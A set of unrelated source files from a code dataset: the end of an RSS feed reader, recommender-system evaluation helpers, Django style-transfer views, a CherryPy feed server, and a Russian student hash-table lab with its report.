%d\" % (d.status,))\n # Get fields from feed. \n if not \"title\" in d.feed : # if no title\n msg = self.handleunrecognizedfeed(self.url) # Is this some non-RSS thing?\n raise IOError(msg) # handle error\n self.hdrtitle = d.feed.title # feed title\n hdrdescription = d.feed.description # feed description\n oldetag = self.etag # save old etag for diagnosis\n oldmodified = self.modified # save old timestamp for diagnosis\n if hasattr(d,\"etag\") : # if feed has etag indicating sequence \n self.etag = d.etag # save position in feed for next time\n else : # no etag, must re-read whole feed every time\n etag = None\n self.modified = getattr(d,\"modified\",None) # save last update timestamp, if any, for next time\n hdrdate = \"\" #### d.feed.date # date as string\n # Process all entries in feed just read.\n # Ignore items that were previously seen\n for entry in d.entries : # get items from feed\n msgitem = self.doentry(entry, now) # do this entry\n if msgitem : # if new item to print\n self.inqueue.put(msgitem) # save this item\n self.markingallasread = False # if marking all as read, stop doing that.\n # Purge stories not seen in a while.\n self.purgeolditems(now-self.expirationsecs, self.itemqueued) # purge old previousy read stories when expired\n\n except (IOError, AttributeError) as message : # if trouble\n self.logger.exception(message) # debug\n errmsg = 'No \"%s\" news because %s.' % (self.gettitle(), str(message))\n self.logerror(errmsg) # log\n\n def purgeolditems(self,expirationtime,dict) : # purge old items already seen and printed\n # We have to do this the hard way, because stories can appear in the feed, be preempted\n # by higher priority stories, and reappear later.\n expired = [] # expired items\n for elt in dict : # for item in dictionary\n if dict[elt] < expirationtime : # if expired\n expired.append(elt) # note expired\n for elt in expired : # for all expired items\n del(dict[elt]) # delete from dict\n self.logger.debug(\"Expired: %s\" % (elt,)) # debug\n\n def doentry(self,entry, now) : # do one feed entry\n title = self.cleandescription(entry.title) # title of entry\n id = getattr(entry,\"id\", None) # ID of entry\n description = entry.description # description of entry\n # Clean up news item. Should do this via feedparser utilities.\n description = self.cleandescription(entry.description)\n # Check for title just being the beginning of the description\n if textsubset(title, description) : # if title is just beginning of description\n title = \"\" # drop title\n try : # feedparser >= 5.1.1\n date = entry.published # publication date of entry\n dateparsed = entry.published_parsed # date parsed\n except AttributeError: # older feedparser\n date = entry.date # feedparser < 5.1.1\n dateparsed = entry.date_parsed\n # convert to local time. Feedparser times are UT\n timestamp = calendar.timegm(dateparsed) # get timestamp value\n ageinsecs = time.time() - timestamp # age of item in seconds\n if ageinsecs > self.maxage : # if too old\n self.logger.debug(\"Very old feed item date: %s - dropped\" % (repr(date)))\n return(None)\n dateparsed = datetime.datetime.fromtimestamp(timestamp)\n assert(isinstance(dateparsed, datetime.datetime))\n msgitem = feedmanager.FeedItem(self, self.gettitle(), \n msgutils.editdate(dateparsed), \n msgutils.edittime(dateparsed), \n title, description)\n # Have we read this item already? Check for duplicates.\n # If either the ID or the text is duplicated, it's a duplicate.\n # Sometimes IDs change when the text does not, because of server-side problems.\n seen = msgitem.digest in self.itemqueued # true if already seen\n if self.markingallasread : # if marking all as read\n seen = True # pretend we've seen this story\n self.itemqueued[msgitem.digest] = now # keep keys of stories read\n logtext = \"NO TITLE\" # text for logging only\n if title : # use title\n logtext = title[:40].encode('ascii','replace')\n elif description : # or description\n logtext = description[:40].encode('ascii','replace')\n if seen : # if already seen\n self.logger.debug(\"Old feed item: (%s) %s\" % (id, logtext)) # Note news item\n ####self.logger.debug(\"Old feed item date: %s %s\" % (repr(date), repr(dateparsed))) # ***TEMP***\n return(None)\n # New news item, prepare for display\n self.logger.debug(\"New feed item: (%s) %s\" % (id,logtext)) # Note news item\n ####self.logger.debug(\"New feed item date: %s %s\" % (repr(date), repr(dateparsed))) # ***TEMP***\n return(msgitem) # build and return new item\n\n def cleandescription(self, s) : # clean up description (item body) for printing\n if s is None :\n return(s) # handle no description case\n # Clean up news item. Should do this via feedparser utilities.\n ####print(\"Before clean:\\n\" + s.encode('ascii','replace')) # ***TEMP***\n for (pattern, rep) in self.kdescriptionrewrites : # apply all rewrite rules\n s = pattern.sub(rep, s) # in sequence\n ####print(\"After clean:\\n\" + s.encode('ascii','replace')) # ***TEMP***\n return(s.strip()) # remove any lead/trail white space \n\n def calcdigest(self, item) : \n \"\"\"\n Calculate message digest for uniqueness check\n Version for news feeds only. Only looks at source, title and body.\n Some news sources (esp. Reuters) will resend the same message with a new timestamp. \n \"\"\"\n m = hashlib.md5() # begin a hash of the fields present\n m.update(repr(item.msgfrom).encode(\"utf8\")) # source\n m.update(repr(item.subject).encode(\"utf8\")) # subject\n m.update(repr(item.body).encode(\"utf8\")) # body of msg\n item.digest = m.hexdigest() # get message digest as hex string, to check if seen before\n \n \n \n\n\n \n","repo_name":"John-Nagle/baudotrss","sub_path":"messager/newsfeed.py","file_name":"newsfeed.py","file_ext":"py","file_size_in_byte":18154,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"78"} +{"seq_id":"10567043029","text":"\"\"\"\n Evaluation Functions in Collaborative Filter \n\"\"\"\nimport random as rd\nimport numpy as np\nimport pandas as pd\nimport time\nfrom scipy import sparse\nfrom functools import wraps\n\n\n# record time\ndef fn_timer(function):\n\t@wraps(function)\n\tdef function_timer(*args, **kwargs):\n\t\tstart = time.clock()\n\t\tresult = function(*args, **kwargs)\n\t\tend = time.clock()\n\t\tprint('%s use time: %s'%(function.__name__, str(end-start)))\n\t\treturn result\n\treturn function_timer\n\n\n@fn_timer\ndef file_read(para_name, para_splitprecent=0.9):\n \"\"\"\n Read rating matrix, and split the file into trian set and test set. \n Return rating matrix and test data.\n :param para_name: file name\n :param para_splitprecent: the percent of train set and test set, default 0.9\n :return: rating matrix, test data, dict based on user and dict based on item\n user_dict = {\n 0: [(0, 5.0), (1, 2.0), ... ],\n 1: [(0, 1.0), (1, 0.0), ... ],\n ...\n }\n ===> user_id: [(item_id, rating)...]\n item_dict = { \n 0: [(0, 5.0), (1, 2.0), ... ],\n 1: [(0, 1.0), (1, 0.0), ... ],\n ...\n }\n ===> item_id: [(user_id, rating)...]\n \"\"\"\n test_data = []\n rate = pd.read_csv(para_name)\n del rate[\"timestamp\"]\n user_num = max(rate['userId'])\n item_num = max(rate['movieId'])\n rate = rate.values\n rate_m = sparse.dok_matrix((user_num, item_num))\n user_dict = {}\n item_dict = {}\n for vec in rate:\n if rd.random() > para_splitprecent: # test data\n test_data.append([int(vec[0]-1), int(vec[1]-1), vec[2]]) \n else: # train data\n rate_m[int(vec[0]-1), int(vec[1]-1)] = vec[2] # array start from 0 \n try:\n user_dict[int(vec[0]-1)].append((int(vec[1]-1), vec[2]))\n except:\n user_dict[int(vec[0]-1)] = []\n user_dict[int(vec[0]-1)].append((int(vec[1]-1), vec[2]))\n try:\n item_dict[int(vec[1]-1)].append((int(vec[0]-1), vec[2]))\n except:\n item_dict[int(vec[1]-1)] = []\n item_dict[int(vec[1]-1)].append((int(vec[0]-1), vec[2]))\n return rate_m, test_data, user_dict, item_dict\n \n\n@fn_timer\ndef file_read_2(para_name, para_splitprecent=0.9, para_max_user=100000, para_max_item=200000):\n \"\"\"\n When file is to large to load in memory, use this function.\n Read rating matrix, and split the file into trian set and test set. \n Return rating matrix and test data.\n :param para_name: file name\n :param para_splitprecent: the percent of train set and test set, default 0.9\n :return: rating matrix and test data\n user_dict = {\n 0: [(0, 5.0), (1, 2.0), ... ],\n 1: [(0, 1.0), (1, 0.0), ... ],\n ...\n }\n ===> user_id: [(item_id, rating)...]\n item_dict = { \n 0: [(0, 5.0), (1, 2.0), ... ],\n 1: [(0, 1.0), (1, 0.0), ... ],\n ...\n }\n ===> item_id: [(user_id, rating)...]\n \"\"\"\n test_data = []\n rate_m = sparse.dok_matrix((para_max_user, para_max_item))\n with open(para_name) as f:\n f.readline()\n while True:\n tmp = f.readline().split(',')\n if len(tmp) < 2:\n break\n vec = [int(tmp[0]), int(tmp[1]), float(tmp[2])] \n if rd.random() > para_splitprecent: # test data\n test_data.append([int(vec[0]-1), int(vec[1]-1), vec[2]]) \n else: # train data\n rate_m[int(vec[0]-1), int(vec[1]-1)] = vec[2] # array start from 0\n if user_dict[int(vec[0]-1)] == None:\n user_dict[int(vec[0]-1)] = []\n if item_dict[int(vec[1]-1)] == None:\n item_dict[int(vec[1]-1)] = []\n user_dict[int(vec[0]-1)].append((int(vec[1]-1), vec[2]))\n item_dict[int(vec[1]-1)].append((int(vec[0]-1), vec[2]))\n return rate_m, test_data, user_dict, item_dict\n\n\n@fn_timer\ndef get_dict_user(para_m):\n \"\"\"\n Return a dict based on user.\n Record rating information of one user.\n user = {\n 0: [(0, 5.0), (1, 2.0), ... ],\n 1: [(0, 1.0), (1, 0.0), ... ],\n ...\n }\n user_id: [(item_id, rating)...]\n :param para_m: rating matrix\n :return: a dict \n \"\"\"\n num_user, num_item = para_m.shape\n user = {}\n for i in range(num_user):\n user[i] = []\n for j in range(num_item):\n if para_m[i,j] > 0:\n user[i].append((j, para_m[i,j]))\n return user\n\n\n@fn_timer\ndef get_dict_item(para_m):\n \"\"\"\n Return a dict based on item.\n Record rating information of one item.\n item = { \n 0: [(0, 5.0), (1, 2.0), ... ],\n 1: [(0, 1.0), (1, 0.0), ... ],\n ...\n }\n item_id: [(user_id, rating)...]\n :param para_m: rating matrix\n :return: a dict \n \"\"\"\n num_user, num_item = para_m.shape\n item = {}\n for j in range(num_item):\n item[j] = []\n for i in range(num_user):\n if para_m[i,j] > 0:\n item[j] = (i, para_m[i,j])\n return item\n\n\n@fn_timer\ndef get_dict_i_u(para_m):\n \"\"\"\n Return a dict based on item and dict.\n Record rating information of one item.\n item = { \n 0: [(0, 5.0), (1, 2.0), ... ],\n 1: [(0, 1.0), (1, 0.0), ... ],\n ...\n }\n item_id: [(user_id, rating)...]\n user = {\n 0: [(0, 5.0), (1, 2.0), ... ],\n 1: [(0, 1.0), (1, 0.0), ... ],\n ...\n }\n user_id: [(item_id, rating)...] \n :param para_m: rating matrix\n :return: dict of item and user \n \"\"\" \n num_user, num_item = para_m.shape\n item = {}\n user = {}\n for j in range(num_item):\n for i in range(num_user):\n if para_m[i,j] > 0:\n if j not in item.keys():\n item[j] = []\n if i not in user.keys():\n user[i] = []\n item[j].append((i, para_m[i,j]))\n user[i].append((j, para_m[i,j])) \n return item, user\n\n\n# @fn_timer\ndef loss_rmse(para_hat, para_true, skip=0):\n \"\"\"\n The RMSE loss.\n The format of input vector:\n user_id, item_id, rate\n :param para_hat: estimated value\n :param para_true: true value\n :return: the rmse loss\n \"\"\"\n loss = 0\n n = len(para_hat)\n for ii in range(n):\n loss += pow(para_hat[ii][2] - para_true[ii][2], 2)\n return loss/(n-skip)\n\n\n# @fn_timer\ndef loss_rmae(para_hat, para_true, skip=0):\n \"\"\"\n The RMSE loss.\n The format of input vector:\n user_id, item_id, rate\n :param para_hat: estimated value\n :param para_true: true value\n :return: the rmse loss\n \"\"\"\n loss = 0\n n = len(para_hat)\n for ii in range(n):\n loss += abs(para_hat[ii][2] - para_true[ii][2])\n return loss/(n-skip)\n","repo_name":"YuyangZhangFTD/MyLab","sub_path":"RecLab/RecTool.py","file_name":"RecTool.py","file_ext":"py","file_size_in_byte":7329,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"8170648394","text":"from django.shortcuts import render, redirect\nfrom django.core.files.uploadhandler import InMemoryUploadedFile\nfrom .models import History\nfrom io import BytesIO\nfrom pathlib import Path\nfrom PIL import Image\nimport os, sys\nimport torch\nimport AdaIN\nimport random\nfrom django.conf import settings\n\ndef setseq(request):\n history_list = History.objects.all().order_by('id')\n seq = 1\n\n for history in history_list:\n\n if history.id != seq:\n History.objects.filter(id=history.id).update(id=seq)\n \n seq += 1\n\n return redirect('history')\n\ndef initseq(Model):\n num = Model.objects.count()\n\n if num == 0:\n seq = 1\n else:\n model = Model.objects.last()\n seq = model.id + 1\n \n return seq\n\n# Create your views here.\ndef main_view(request):\n return render(request, 'index.html')\n\n\ndef transfer_view(request):\n return render(request, 'transfer.html')\n\n\ndef result_view(request):\n \n try:\n preserve_color = request.POST['color_checkbox']\n except:\n preserve_color = '0'\n try:\n is_nature = request.POST['image_type_checkbox']\n except:\n is_nature = '0'\n\n alpha = float(request.POST['weight'])\n\n PATH = 'HM/model_made/'\n vgg_path = PATH + 'vgg_normalised.pth'\n decoder_model_nature_path = PATH + 'nature_7_pattern_30.tar'\n decoder_model_pattern_path = PATH + 'pattern_7_pattern_30.tar'\n\n \n # try except로 input 중 파일을 우선 받고 exception 발생하면 post로 전달받은 이미지 url 이용\n try : \n content_image = request.FILES['content_image']\n except : \n content_image = request.POST['content_selected']\n \n try : \n style_image = request.FILES['style_image']\n except : \n style_image = request.POST['style_selected']\n \n \n\n if int(is_nature):\n generated_result = AdaIN.main(vgg_path, decoder_model_nature_path, content_image, style_image, alpha=alpha, interpolation_weights=None, preserve_color = int(preserve_color))\n\n else:\n generated_result = AdaIN.main(vgg_path, decoder_model_pattern_path, content_image, style_image, alpha=alpha, interpolation_weights=None, preserve_color = int(preserve_color))\n\n output = generated_result['output_image']\n content_image = generated_result['content_image']\n style_image = generated_result['style_image']\n\n\n output_io = BytesIO()\n output.save(output_io, format='JPEG')\n\n content_io = BytesIO()\n content_image.save(content_io, format='JPEG')\n\n style_io = BytesIO()\n style_image.save(style_io, format='JPEG')\n\n\n final_output = InMemoryUploadedFile(file=output_io,\n field_name=\"ImageField\",\n name='stylized.jpg',\n content_type='image/jpeg',\n size=sys.getsizeof(output_io),\n charset=None)\n\n final_content_image = InMemoryUploadedFile(file=content_io,\n field_name=\"ImageField\",\n name='content.jpg',\n content_type='image/jpeg',\n size=sys.getsizeof(content_io),\n charset=None)\n\n final_style_image = InMemoryUploadedFile(file=style_io,\n field_name=\"ImageField\",\n name='style.jpg',\n content_type='image/jpeg',\n size=sys.getsizeof(style_io),\n charset=None)\n \n \n history = History()\n history.id = initseq(History)\n history.content_image = final_content_image\n history.style_image = final_style_image\n history.output_image = final_output\n history.preserve_color = True if int(preserve_color) == 1 else False\n history.nature_pattern = True if int(is_nature) == 1 else False\n history.alpha = alpha\n history.save()\n \n result = History.objects.order_by('-pk')[0]\n \n \n return render(request, 'result.html', {'args':result})\n\ndef history_view(request):\n history = History.objects\n return render(request, 'history.html', {'history':history})\n\n\ndef delete_history(request):\n \n check_list = request.GET.getlist('chk')\n\n history = History.objects.filter(id__in=check_list)\n \n content_image = [i.content_image.path for i in history]\n style_image = [i.style_image.path for i in history]\n output_image = [i.output_image.path for i in history]\n\n history.delete()\n\n\n try:\n for i,j,k in content_image, style_image, output_image:\n os.remove(os.path.join(settings.MEDIA_ROOT, i))\n os.remove(os.path.join(settings.MEDIA_ROOT, j))\n os.remove(os.path.join(settings.MEDIA_ROOT, k))\n \n except:\n pass\n \n \n return redirect('history')\n\n\n\n###### Static Images Section ######\ndef get_images(request):\n\n pattern_category = ['black_white_patterns','figure_patterns','fractal_patterns',\n 'geometric_patterns','hexagon_patterns','line_patterns','patterns']\n\n nature_category = ['animal_images','animal_skin_images','bee_images','bird_images','butterfly_images',\n 'crystal_images','dragonfly_images','eyes_images','flower_images','nature_images','reptile_images',\n 'spider_images','tree_images','wave_images']\n\n is_pattern = 0\n\n try:\n pattern_cate_idx = int(request.POST['pattern_image'])\n is_pattern = 1\n except:\n nature_cate_idx = int(request.POST['nature_image'])\n\n\n if is_pattern:\n path_mid = pattern_category[pattern_cate_idx-1]\n path = './DesignAssistant/static/img/pattern_images_by_keywords/'+path_mid+'/'\n path_last = 'pattern_images_by_keywords/'+path_mid+'/'\n else:\n path_mid = nature_category[nature_cate_idx-1]\n path = './DesignAssistant/static/img/nature_images_by_keywords/'+path_mid+'/'\n path_last = 'nature_images_by_keywords/'+path_mid+'/'\n\n images = getImages(path)\n file_names = [i.split('/')[-1] for i in images]\n real_images = ['../static/img/'+path_last+i for i in file_names]\n\n\n info: dict = {\n 'real_images' : real_images\n }\n \n\n return render(request, 'transfer.html', {'info' : info})\n\n# 이미지 경로 불러오는 메소드\ndef getImages(path: str) : \n image_list: list = os.listdir(path) # 입력된 path 내의 모든 '파일명' 호출 : 출력 예시) ['0.jpg', '1.jpg', ...]\n \n\n if len(image_list) >= 30:\n random_images: list = random.sample(image_list, 30) # 랜덤하게 30개만 추출\n \n else:\n random_images = image_list\n\n image_path_list: list = getFullPath(path, random_images) # 파일명만 있기 때문에 getFullPath 메소드로 경로 생성\n return image_path_list\n\n# 이미지 경로 생성 메소드\ndef getFullPath(path: str, image_list: list) : \n fullPath: list = []\n\n for image in image_list : \n temp_path = '%s%s' % (path, image) # 입력된 path에 파일명을 붙여 경로 생성 : 출력 예시) './DesignAssistant/static/img/pattern_images/0.jpg'\n fullPath.append(temp_path)\n\n return fullPath\n\n###### Static Images Section End ######\n\n\n","repo_name":"Kyungpyo-Kang/HM","sub_path":"DesignAssistant/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"70904040572","text":"import cherrypy\n\nfrom feedbuffer import core, database, log, settings\nfrom feedbuffer.settings import DEFAULT_UPDATE_INTERVAL\n\n_logger = log.get_logger(__name__)\n\n\nclass Server:\n @cherrypy.expose\n def index(self, url, update_interval=DEFAULT_UPDATE_INTERVAL):\n if not database.feed_exists(url):\n _logger.info('Adding feed: %s', url)\n try:\n core.update_feed(url)\n except Exception:\n _logger.exception('Exception occurred during initial feed update: %s', url)\n return None\n\n core.schedule_feed_update(url)\n elif url not in core.scheduled:\n _logger.info('Updating feed: %s', url)\n core.executor.submit(core.update_feed, url)\n core.schedule_feed_update(url)\n\n feed = database.get_feed(url)\n update_interval = int(update_interval)\n if feed.update_interval != update_interval:\n _logger.info('Changing update interval from %d to %d seconds for feed: %s',\n feed.update_interval, update_interval, url)\n database.update_model_data(feed, update_interval=update_interval)\n core.schedule_feed_update(url)\n\n _logger.info('Generating feed: %s with %d entries...', url, len(feed.entries))\n response = core.generate_feed(feed.data, [entry.data for entry in feed.entries])\n database.flush_feed(feed)\n cherrypy.response.headers['Content-Type'] = ''\n return response\n","repo_name":"cryzed/Feedbuffer","sub_path":"feedbuffer/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1502,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"78"} +{"seq_id":"1104362716","text":"\"\"\"! @brief СКБ201 Тур ТВ Методы Программирования ЛР3\"\"\"\n\n##\n# @mainpage Лабораторная работа номер 3 по курсу \"Методы Программирования\"\n#\n# @brief СКБ201 Тур Т.В. Методы Программирования ЛР3\n#\n# @section intro Введение\n# Лабораторная работа номер 3 по курсу \"Методы программирования\". Выполнена студентом Туром Тимофем Владимировичем группы СКБ201.\n#\n# @section description Описание\n# В данной лабораторной работе тредуется реализовать 2 алгоритма хэширования для ключевого поля данных из лабораторной работы 2, построить хэш-таблицы, написать функцию поиска в ней, после чего проверить их работу и сравнить эффективность по времени с предыдущей лабораторной.\n# Мой вариант - 24. Хэширование происходит по полю ФИО.\n#\n# @section link Ссылка на репозиторий\n# Данный проект хранится в репозитории github по ссылке https://github.com/TimothyTur/MP_L3 .\n# В силу явной ненужности многих данных doxygen, они будут отсутствовать там (кроме нужных, например как этот отчет).\n# \n# @section hashTable Реализация хэш-таблицы\n# Эта тема предшествует функицям хэширования, потому что в ней определятся основополагающие параметры.\n# За размерность хэш-таблицы будет взята 2^18, что равно 262144. Этого уже достаточно для 100000 элементов, а предыдущая степень (131072) рискует иметь множество коллизий.\n# Сами коллизии решены методом цепочек.\n# \n# @section badHash \"Простая\" функция хэширования\n# Простая хэш-функия реализована через полином по буквам в ключе. За коэффициент полинома взято 31, так как большие буквы будут восприниматься как малые, пробелы будут игнорироваться.\n# \n# @section goodHash \"Сложная\" функция хэширования\n# Сложная хэш-функция реализована по подобию rot13. В силу ограничения в 2^18 побитовый сдвиг будет взят на 11 и на 7.\n# В теории этот алгоритм быстрее, так как не требует умножения, лишь побитовый сдвиг, также он даст меньше коллизий, так как основан на rot13, в котором в принципе число коллизий минимально.\n# \n# @section diagramSearch Сравнительный график работы поиска\n# Данный график демонстрирует время, затраченное на поиск элемента. Данные о поисков линейного, multimap, бинарного с сортировкой и просто бинарного взяты напрямую из предыдущей лабораторной.\n# @image latex mpLab3Graph1.png \"График работы поиска\"\n# На данном графике видно, что бинарный поиск, multimap и оба хэша складываются в одну прямую линию в нуле. Бинарному поиску в случае 100 000 элементов требуется не более 17 сравнений. multimap в случае python реализован на словарях, а они реализованы на хэш-таблицах, а значит его время должно примерно совпадать с новыми измерениями в этой лабораторной. Поиск по хэш-таблице в общем случае требует константное время. Число операций и там и там мало, но видимо достаточно минимально чтобы везде работать почти моментально. Потому имеем прямые и самый быстрый реализованный поиск.\n# \n# @section diagramCollision Сравнительный график числа коллизий\n# Данный график демонстрирует общее число коллизий в массивах в зависимости от числа элементов в выборке.\n# @image latex mpLab3Graph2.png \"График числа коллизий\"\n# На графике особой разницы в числе коллизий не видно. Что странно, так как алгоритмы принципиально разные, и вроде как сложный должен сработать лучше. Но разница видимо настолько никакая, что в виду допустимых погрешностей ее и не видно. Остается только предположить что требуется в разы больший объем выборки. Около миллиона, а то и целого миллиарда.\n# Также велик шанс того что число коллизий обусловленно тем, что в выборке изначально есть элементы с одинаковыми ключами (что продемонстрированно в предыдущей лабораторной).\n# \n# @section collision Предположение причины числа коллизий\n# В попытках понять почему получается даже если близкое, но такое огромное число коллизий, я решил ввести счетчики уникальных ключей, используемых в таблице. Тогда каждая заполненная ячейка вносит в эту переменную вклад в единицу. В то же время функция подсчета коллизий вычисляет количество одинаковых элементов по ключу. На практике это удобно реализовать через возможности связного списка. Посчитав его длину и вычтя 1 получаем число совпадений данного конкретного хэша, а значит сумма по всем заполненным хэшам даст общее число коллизий. Это значит что каждая заполненная ячейка вносит в число коллизий вклад в длину этой ячейки минус 1.\n# Тогда сумма уникальных и сумма коллизий должна совпасть с длинной выборки, так как будем иметь сумму 1 за каждую зуполненную ячейку плюс длина ячейки минус 1. Единицы сокращаются, остается длина ячейки. Сумма длинн по всем ячейкам даст число в принципе распределенных по таблице ячеек, что есть длина исходного распределения.\n# И эта сумма показательна для состоятельной проверки работы программы, так как число уникальных элементов изменяется во время операций над таблицей, а вычисление коллизий - функция, вычисляемая в момент. Эта разница во времени и дает состоятельность, при совпадении чисел.\n# Это было пояснение к тесту, который я сделал, чтобы проверить что все работает правильно. И так и оказалось. Программа работает корректно, но я не совсем понимаю почему тогда столько коллизий.\n# Я перечитал свою же документацию выше, и подумал, а что если совпадение ключей имеет куда большее значение. В первой лабораторной, где генерируется моя выборка, за генератор ФИО я взял учебный список нашей группы, разбил на подэлементы, и генератору буквально сказал выбирать соответственно случайные элементы из полчившегося массива. И в этом и была проблема. В группе нас около 27, что дает 27 имен, 27 фамилий и 27 отчеств (не считая совпадений по группе). Тогда это 27*27*27=19683 различных значений. А значит и не удивительно что на выборке длины 100000 имеется целых 80000 коллизий.\n# На чем, получается, можно сделать вывод, что сама выборка ключей изначально не подходит для исследования коллизий в хэштаблице, в виду очень возможных совпадений.\n# \n\n##\n# @file full_code.py\n#\n# @brief Основной исполняевый файл лабораторной работы\n# \n# @sectioin description Описание\n# Лабораторная работа в изначальном свое виде выполнялась в оболочке \"jupyter notebook\" в силу его удобства для таких целей. Этот файл является прямым последовательным копированием ячеек из итогового документа (также прикрепленного в github), по причине того что doxygen на файлы \".ipynb\" не работает.\n# \n# @section differs Функциональное отличие\n# В предыдущих лабораторных работах вычисления производились над всеми выборками сразу. В этой же лабораторной хэш-таблица требует слишком много данных, потому вычисления будут происходить последовательно, совершая нужные измерения, после чего удаляя таблицу, приступая к следующей.\n# Также в этой лабораторной работе требуются данные из предыдущей. Данные, используемые здесь, были напрямую скопированные из выводов, сохраненных как часть документации. Также поиск элементов будет осуществляться на первых найденных элементах из предыдущей работы, также сохраненных как часть документации.\n# \n# @section results Результаты тестирования\n# Cледующая секция представляет из себя набор вывода программы по тестам.\n# Вывод для всех призводится по формату:\n# <размер выборки> <время поиска в простой таблице> <время поиска в сложной> <ключ искомого элемента>\n# <хэш найденного элемента простого алгоритма> <его сдвиг по цепочке> <найденный элемент>\n# <хэш найденного элемента сложного алгоритма> <его сдвиг по цепочке> <найденный элемент>\n# --------------------------------------------------\n# <повтор для всех размерностей>\n# \n# 100 0.0 0.0 Недомолкин Елизавета Эдикович\n# 237488 0 Недомолкин Елизавета Эдикович 92 2011/04/06 2012/02/27 91881\n# 28767 0 Недомолкин Елизавета Эдикович 92 2011/04/06 2012/02/27 91881\n# --------------------------------------------------\n# 500 0.0 0.0 Ташлыков Григорий Николаевич\n# 83313 0 Ташлыков Григорий Николаевич 92 2004/05/30 2013/03/23 32489\n# 95710 0 Ташлыков Григорий Николаевич 92 2004/05/30 2013/03/23 32489\n# --------------------------------------------------\n# 1000 0.0 0.0 Гришаев Андрей Сергеевич\n# 74419 0 Гришаев Андрей Сергеевич 78 2004/03/07 2008/10/15 95617\n# 168114 0 Гришаев Андрей Сергеевич 78 2004/03/07 2008/10/15 95617\n# --------------------------------------------------\n# 2000 0.0 0.0 Абдуллабеков Илья Николаевна\n# 239180 0 Абдуллабеков Илья Николаевна 96 2004/05/12 2013/11/10 71681\n# 233913 0 Абдуллабеков Илья Николаевна 96 2004/05/12 2013/11/10 71681\n# --------------------------------------------------\n# 5000 0.0 0.0 Самунин Тимофей Эдуардович\n# 37393 0 Самунин Тимофей Эдуардович 54 2009/04/23 2009/09/30 95564\n# 112789 0 Самунин Тимофей Эдуардович 54 2009/04/23 2009/09/30 95564\n# --------------------------------------------------\n# 10000 0.0 0.0 Ташлыков Артём Эдуардович\n# 66484 0 Ташлыков Артём Эдуардович 72 2005/08/13 2010/07/07 68301\n# 45054 0 Ташлыков Артём Эдуардович 72 2005/08/13 2010/07/07 68301\n# --------------------------------------------------\n# 20000 0.0 0.0 Красов Илья Александровна\n# 231440 2 Красов Илья Александровна 20 2006/01/24 2014/04/03 37206\n# 184951 2 Красов Илья Александровна 20 2006/01/24 2014/04/03 37206\n# --------------------------------------------------\n# 50000 0.0 0.0 Осипова Радомир Ашотович\n# 139305 0 Осипова Радомир Ашотович 99 2007/12/03 2008/08/06 21649\n# 39101 0 Осипова Радомир Ашотович 99 2007/12/03 2008/08/06 21649\n# --------------------------------------------------\n# 100000 0.0 0.0 Грицун Илья Сергеевич\n# 154063 27 Грицун Илья Сергеевич 42 2009/06/14 2011/04/01 60423\n# 247281 27 Грицун Илья Сергеевич 42 2009/06/14 2011/04/01 60423\n# --------------------------------------------------\n# \n\n# Imports\nimport random as rnd\nimport time\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nclass HashTable:\n \"\"\"! Класс объектов, требуемых по заданию третьей лабораторной работы.\n \n Содержит в себе обе таблицы и весь требуемый функционал для них. В том числе и статические функции вычисления хэша.\n В таблицах во избежание коллизии сиспользуется метод цепочек. В силу реализации как таковых массивов в python, связный список будет реализован через простой лист.\n \"\"\"\n def __init__(self):\n \"\"\"! Конструктор хэш-таблицы по заданию лабораторной работы.\n \n Конструктор выделяет массивы для обеих хэш-таблиц.\n \"\"\"\n self.bad = [None]*(1<<18)\n self.good = [None]*(1<<18)\n self.uniBad = 0\n self.uniGood = 0\n \n @staticmethod\n def badHash(obj):\n \"\"\"! Вариант простой хэш-функции.\n Реализован через полином по буквам в ключе. За коэффициент полинома взято 31.\n\n @param obj Объект вычисления хэша. Должен обладать строковым свойством key в русском алфавите.\n\n @return Вычисленный хэш.\n \"\"\"\n nums = [ord(i.lower())-ord('а') if i!=' ' else None for i in obj.key]\n p = 1\n res = 0\n for i in nums:\n if i != None:\n res = (res+i*p)&0o777777 #модуль не сработает корректно\n p*=31 #весьмеричное число => 18/3=6 семерок\n return res\n @staticmethod\n def goodHash(obj):\n \"\"\"! Вариант сложной хэш-функции.\n Реализова по подобию rot13. В силу ограничения в 2^18 побитовый сдвиг будет взят на 11 и на 7.\n\n @param obj Объект вычисления хэша. Должен обладать строковым свойством key в русском алфавите\n\n @return Вычисленный хэш.\n \"\"\"\n nums = [ord(i.lower())-ord('а') if i!=' ' else None for i in obj.key]\n res = 0\n for i in nums:\n if i != None:\n res = (res+i)&0o777777\n res = (((res<<7)&0o777777)|(res>>11))&0o777777\n return res \n\n def addBad(self, elem):\n \"\"\"! Добавление элемента в хэш-таблицу простого хэша.\n \n @param elem Элемент для добавления в таблицу\n \"\"\"\n addr = HashTable.badHash(elem)\n if self.bad[addr] == None:\n self.bad[addr] = [elem]\n self.uniBad += 1\n else:\n self.bad[addr].append(elem)\n def addGood(self, elem):\n \"\"\"! Добавление элемента в хэш-таблицу сложного хэша.\n \n @param elem Элемент для добавления в таблицу\n \"\"\"\n addr = HashTable.goodHash(elem)\n if self.good[addr] == None:\n self.good[addr] = [elem]\n self.uniGood += 1\n else:\n self.good[addr].append(elem)\n\n def getBad(self, addr, step):\n \"\"\"! Возвращает элемент таблицы простого хэша\n \n @param addr Хэш искомого элемента.\n @param step Сдвиг в цепи элементов\n \n @return Искомый элемент или None, если такого элемента нет\n \"\"\"\n if addr>=(1<<18) or addr<0: return None\n if self.bad[addr] == None: return None\n if len(self.bad[addr])<=step: return None\n return self.bad[addr][step]\n def getGood(self, addr, step):\n \"\"\"! Возвращает элемент таблицы сложного хэша\n \n @param addr Хэш искомого элемента.\n @param step Сдвиг в цепи элементов\n \n @return Искомый элемент или None, если такого элемента нет\n \"\"\"\n if addr>=(1<<18) or addr<0: return None\n if self.good[addr] == None: return None\n if len(self.good[addr])<=step: return None\n if step<0: return None\n return self.good[addr][step]\n \n def popBad(self, addr, step):\n \"\"\"! Удаляет элемент таблицы простого хэша.\n \n @param addr Хэш искомого элемента.\n @param step Сдвиг в цепи элементов.\n \n @return Возвращает удаленный элемент, None при ошибке.\n \"\"\"\n if 